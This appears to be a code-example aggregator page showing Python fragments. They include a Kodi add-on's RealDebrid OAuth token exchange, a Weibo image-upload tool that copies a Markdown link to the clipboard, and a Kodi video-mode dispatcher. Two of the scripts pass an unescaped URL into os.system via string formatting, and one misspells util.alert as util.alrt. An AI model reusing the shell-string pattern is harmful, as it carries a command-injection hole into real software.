        if credentials!=False:
            try:
                if "error" in credentials:
                    util.logError(credentials)
                else:
                    credJSON=json.loads(credentials)
                    #store credentials in settings
                    xbmcaddon.Addon().setSetting('rd_id', credJSON['client_id'])
                    xbmcaddon.Addon().setSetting('rd_secret', credJSON['client_secret'])
                    
                    cj_rd = cookielib.CookieJar()
                    opener_rd = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj_rd))
                    
                    data_rd = urllib.urlencode({'client_id' : credJSON['client_id'], 'client_secret' : credJSON['client_secret'], 'code': authJSON['device_code'], 'grant_type' : 'http://oauth.net/grant_type/device/1.0'})
                    
                    try:
                        #util.logError(str(data_rd))
                    
                        resp = opener_rd.open('https://api.real-debrid.com/oauth/v2/token', data_rd)
                        content=resp.read()
                        
                        credJSON=json.loads(content)
                        
                        xbmcaddon.Addon().setSetting('rd_access', credJSON['access_token'])
                        xbmcaddon.Addon().setSetting('rd_refresh', credJSON['refresh_token'])
                            
                        authorised=True
                    except Exception as e:
                        util.logError(str(e))
            except Exception as e:
                util.logError(str(e))
    # check how we exited loop
    util.progressStop(authDialog)
    if authorised==True:
        util.alert("RealDebrid authenticated.")
        return True
    else:
        util.alert("There was an error authenticating with RealDebrid")
        return False
Beispiel #37
0
def upload_file():
    if not weibo.check_login_status():
        if not util.check_config_file():
            util.generate_config()

        config = util.read_config()

        if not config:
            util.alert('请先设置你的微博账号')
            util.open_with_editor()
            sys.exit(0)

        username = config['username']
        password = config['password']

        try:
            weibo.login_with_username_and_password(username, password)
        except:
            util.alert('登录失败,请重试!')
            sys.exit(0)

        if weibo.check_login_status():
            # util.delete_config()
            util.alert('登录成功!')
        else:
            util.alert('登录失败,请重试!')
            sys.exit(0)

    img_file = get_paste_img_file()

    if img_file:
        try:
            url = weibo.request_image_url(img_file.name)
            return url
        except:
            util.delete_cookie()
            util.alert('Cookie 过期,请重新登录!')
            sys.exit(0)
            return None
    else:
        util.alert('您的剪切板里没有图片!')
        sys.exit(0)
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2016 ciel <*****@*****.**>
#
# Distributed under terms of the MIT license.

"""
得到图片的 Markdown
"""

from upload import upload_file
import util
import os
import sys


url = upload_file()
if url:
    markdown_url = '![](%s)' % (url)
    os.system("echo '%s' | pbcopy" % markdown_url)
    util.alert('上传图片成功,图片 Markdown 已复制到剪切板!')
else:
    util.alert('上传失败!')
    sys.exit(0)
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2016 ciel <*****@*****.**>
#
# Distributed under terms of the MIT license.

"""
得到图片的 URL
"""

from upload import upload_file
import util
import os
import sys


url = upload_file()
if url:
    os.system("echo '%s' | pbcopy" % url)
    util.alert('上传图片成功,图片 URL 已复制到剪切板!')
else:
    util.alrt('上传失败!')
    sys.exit(0)
Beispiel #40
0
    # load the latest of a type
    #util.logError(parameters['url'])
    util.findVideos(parameters["url"])
elif mode==5:
    # a video has been chosen, lets hunt for sources
    util.huntVideo(parameters)
elif mode==6:
    url=util.getVideoURL(parameters)
    util.playMedia(parameters['extras2'], parameters['poster'], url, "Video")
elif mode==7:
    util.addMenuItems(util.getFavourites())
elif mode==8:
    util.addMenuItems(util.getFavourites())
elif mode==9:
    if addon.getSetting('download_path')=="":
        util.alert("Please configure download in Add-On Settings")
        exit()
    # simpledownloader taken (and then altered) from specto
    import simpledownloader
    xbmc.executebuiltin( "XBMC.Notification(%s,%s,%i,%s)" % ( parameters['name'].encode("utf-8") + ' - Preparing Download', 'Please Wait', 7000, parameters['poster'].encode("utf-8")))

    url=util.getVideoURL(parameters).replace("?mime=true", "")
    #util.logError(url)
    if "openload" in url:
        import urllib2
        url=urllib2.urlopen(url).geturl()
        
    simpledownloader.download(parameters['name'], parameters['poster'], url, parameters['fanart'])
elif mode==10:
    window = xbmcgui.Window(xbmcgui.getCurrentWindowId())